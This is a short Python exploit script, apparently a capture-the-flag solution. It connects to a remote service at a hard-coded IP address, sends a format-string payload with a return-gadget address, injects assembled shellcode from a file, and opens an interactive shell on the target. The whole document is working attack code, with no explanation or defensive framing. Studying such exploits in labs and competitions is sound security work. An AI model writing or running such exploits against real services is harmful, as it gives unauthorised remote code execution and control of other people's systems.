#!/usr/bin/python
import struct
import socket
import telnetlib
import time

'''
nasm -f bin -o shell.bin shell.asm
'''

def readuntil(f, delim='bksh> '):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]

shell = open('shell.bin').read()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.165.91.92', 8899))
f = s.makefile('rw', bufsize=0)

readuntil(f)

pop_pop_ret = 0x40110F

f.write('create fmt\n'.ljust(0x400, '\0'))

payload = '%280x' + p(pop_pop_ret)
f.write(payload.ljust(0x100, '\0'))
readuntil(f)

f.write(('cat fmt ' + shell + '\n').ljust(0x400, '\0'))
f.read(256)

print 'you have a shell'

t = telnetlib.Telnet()
t.sock = s
t.interact()